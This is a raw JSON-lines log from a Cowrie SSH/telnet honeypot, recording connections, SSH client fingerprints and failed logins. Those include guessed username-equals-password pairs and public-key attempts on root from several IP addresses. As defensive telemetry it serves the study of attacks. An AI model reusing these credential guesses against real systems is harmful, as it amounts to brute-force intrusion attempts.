{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":42556,"dst_ip":"159.203.135.109","dst_port":22,"session":"08b784527f78","protocol":"ssh","message":"New connection: 45.156.87.69:42556 (159.203.135.109:22) [session: 08b784527f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:15.843237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:15.853341Z","src_ip":"45.156.87.69","session":"08b784527f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:16.080037Z","src_ip":"45.156.87.69","session":"08b784527f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amirreza","password":"amirreza","message":"login attempt [amirreza/amirreza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:16.669533Z","src_ip":"45.156.87.69","session":"08b784527f78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.213229179382324,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:16.933322Z","src_ip":"152.42.224.71","session":"f0a4baaf1ab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:17.883104Z","src_ip":"45.156.87.69","session":"08b784527f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51760,"dst_ip":"159.203.135.109","dst_port":22,"session":"2811a0eac76e","protocol":"ssh","message":"New connection: 45.156.87.69:51760 (159.203.135.109:22) [session: 2811a0eac76e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:19.486178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:19.549520Z","src_ip":"45.156.87.69","session":"2811a0eac76e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:19.659919Z","src_ip":"45.156.87.69","session":"2811a0eac76e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wisnu","password":"wisnu","message":"login attempt [wisnu/wisnu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:20.201316Z","src_ip":"45.156.87.69","session":"2811a0eac76e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:21.313113Z","src_ip":"45.156.87.69","session":"2811a0eac76e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":51766,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba1352644b06","protocol":"ssh","message":"New connection: 45.156.87.69:51766 (159.203.135.109:22) [session: ba1352644b06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:23.187135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:23.259756Z","src_ip":"45.156.87.69","session":"ba1352644b06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:23.392438Z","src_ip":"45.156.87.69","session":"ba1352644b06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:24.071649Z","src_ip":"45.156.87.69","session":"ba1352644b06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:25.255129Z","src_ip":"45.156.87.69","session":"ba1352644b06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":52962,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaeaeed61ee6","protocol":"ssh","message":"New connection: 45.156.87.69:52962 (159.203.135.109:22) [session: eaeaeed61ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:26.994811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:26.999218Z","src_ip":"45.156.87.69","session":"eaeaeed61ee6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:27.116890Z","src_ip":"45.156.87.69","session":"eaeaeed61ee6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:27.825529Z","src_ip":"45.156.87.69","session":"eaeaeed61ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.209.80.244","src_port":43529,"dst_ip":"159.203.135.109","dst_port":23,"session":"1942381f5d74","protocol":"telnet","message":"New connection: 181.209.80.244:43529 (159.203.135.109:23) [session: 1942381f5d74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:29.073625Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:29.087610Z","src_ip":"45.156.87.69","session":"eaeaeed61ee6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":52974,"dst_ip":"159.203.135.109","dst_port":22,"session":"96b054bbd4b5","protocol":"ssh","message":"New connection: 45.156.87.69:52974 (159.203.135.109:22) [session: 96b054bbd4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:30.650458Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34578,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8213bff2ea4","protocol":"telnet","message":"New connection: 152.42.224.71:34578 (10.17.0.5:23) [session: e8213bff2ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:30.755162Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:30.883170Z","src_ip":"45.156.87.69","session":"96b054bbd4b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:30.887078Z","src_ip":"45.156.87.69","session":"96b054bbd4b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.31477427482605,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:31.739255Z","src_ip":"152.42.224.71","session":"483da6207ea3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"moltbot","password":"moltbot","message":"login attempt [moltbot/moltbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:31.876666Z","src_ip":"45.156.87.69","session":"96b054bbd4b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:32.962383Z","src_ip":"45.156.87.69","session":"96b054bbd4b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.119.25.48","src_port":46514,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d35997291f3","protocol":"ssh","message":"New connection: 176.119.25.48:46514 (10.17.0.5:22) [session: 4d35997291f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:33.163819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:33.172082Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:33.297303Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:cb:2b:83:69:0b:8f:c3:e0:02:8c:31:a4:ce:de:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII00GiSY7AK5jqpUzd8HMkBnbyV2ltgmF0RrMiLLopTX","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 96:cb:2b:83:69:0b:8f:c3:e0:02:8c:31:a4:ce:de:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:33.889318Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:cb:2b:83:69:0b:8f:c3:e0:02:8c:31:a4:ce:de:88","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII00GiSY7AK5jqpUzd8HMkBnbyV2ltgmF0RrMiLLopTX","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:33.893172Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:37:54:08:bc:35:60:ab:49:cb:0b:3a:99:2d:ae:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNxzA8nEsjTkxGfNjD4IJRldLgdVlWz9Hwe/pa3SSK9US8lS3QyYFD4hZ+HS9GjP4KP+oRP7VwjjPN1tz0eFYNSMEAuFM1tOtzIaDKgkoxsBqtN94mR4ZA5mj0kq/k6MQW6JEVyt7UHzZKdPCwfUhtSDJE75P8gDFhGvXbr/Rk1UQm7BgVnoY0GQJtae/G+U6tVgVf20nqw7j/PyYxD9u67PQA40Cs1geM4EaDgqAawtgozPUajd4FXdsPzubdRx9wlCTW2c74/5KmZPbP0833zhOIjDwDx8NMHahTXm/GHEsGRpbbCfKYbdXC0m8FDaX3oILlL2iD8j7U5qe1Rv57/08DbfhHiWQt6VF7e+I2kXUZCa5uCt9OpjRDHTdMrlj3lMgbz7ULyNGM8E26IOoi4yUy/hmTR0/nZCRtdgtLI2z0sy+t1+oVFusu+yT/jsUBszN7a6mI3PI+2OGrjSpVtPq4OV2bkktiwAoC8ySd+s/HDCZvE5ySiPiWUQhvACwKIccn/uZbCkPBJopEXRZyXF8ytCGb9Mq6V5H37UNPTtbww/5C/16r3sLGdztXp1NNMg+/4r/tRu0vYKWHCkihCZ3Q57SmBCQJBY8KiOm1p1KdPwZW0soG3rd/P+Zl5yZcsIkH6cCiM+agoudb3Oi2NPFgugO0JqlSvXy3DoxMtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:37:54:08:bc:35:60:ab:49:cb:0b:3a:99:2d:ae:06","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.016102Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:37:54:08:bc:35:60:ab:49:cb:0b:3a:99:2d:ae:06","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDNxzA8nEsjTkxGfNjD4IJRldLgdVlWz9Hwe/pa3SSK9US8lS3QyYFD4hZ+HS9GjP4KP+oRP7VwjjPN1tz0eFYNSMEAuFM1tOtzIaDKgkoxsBqtN94mR4ZA5mj0kq/k6MQW6JEVyt7UHzZKdPCwfUhtSDJE75P8gDFhGvXbr/Rk1UQm7BgVnoY0GQJtae/G+U6tVgVf20nqw7j/PyYxD9u67PQA40Cs1geM4EaDgqAawtgozPUajd4FXdsPzubdRx9wlCTW2c74/5KmZPbP0833zhOIjDwDx8NMHahTXm/GHEsGRpbbCfKYbdXC0m8FDaX3oILlL2iD8j7U5qe1Rv57/08DbfhHiWQt6VF7e+I2kXUZCa5uCt9OpjRDHTdMrlj3lMgbz7ULyNGM8E26IOoi4yUy/hmTR0/nZCRtdgtLI2z0sy+t1+oVFusu+yT/jsUBszN7a6mI3PI+2OGrjSpVtPq4OV2bkktiwAoC8ySd+s/HDCZvE5ySiPiWUQhvACwKIccn/uZbCkPBJopEXRZyXF8ytCGb9Mq6V5H37UNPTtbww/5C/16r3sLGdztXp1NNMg+/4r/tRu0vYKWHCkihCZ3Q57SmBCQJBY8KiOm1p1KdPwZW0soG3rd/P+Zl5yZcsIkH6cCiM+agoudb3Oi2NPFgugO0JqlSvXy3DoxMtQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.019521Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":33476,"dst_ip":"159.203.135.109","dst_port":22,"session":"499593990cea","protocol":"ssh","message":"New connection: 185.236.22.41:33476 (159.203.135.109:22) [session: 499593990cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.075068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.083095Z","src_ip":"185.236.22.41","session":"499593990cea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:8c:38:ad:c3:2c:fb:be:39:4d:1e:bb:37:b9:46:eb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXQ1B/cOjhw2EAw07tWnPAVT+43TFqrTYw8LXMcaDM/GwqRbrpaviQVB0Gb+hFDGDg5f0v9sgDEth0ynBvHrVfT0smLvo/JpGHS9WWgw7ugyYOfvRyX9HZrLWQ0DJafc3SoUersb92JFPBq6D1UHRnO5PknoIWF5XUrDM9tzfKF47l7xC5ww6RxXFvUGq3IANIXP8uHTg/RXpVO4LVJ/WCj0hd4brHS5mRRs56iobQ4adgY1759rwqFlK/ZUcQmt9sn971KgBcodGi1axtg8ZOqJAkWfT+/Da0G2LdBq4c4GE0hIHoAxrq3YfL/wiXYxfo+QQJLAJ339vjmwB5IzP7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:8c:38:ad:c3:2c:fb:be:39:4d:1e:bb:37:b9:46:eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:48:34.142948Z","src_ip":"176.119.25.48","session":"4d35997291f3","protocol":"ssh"}
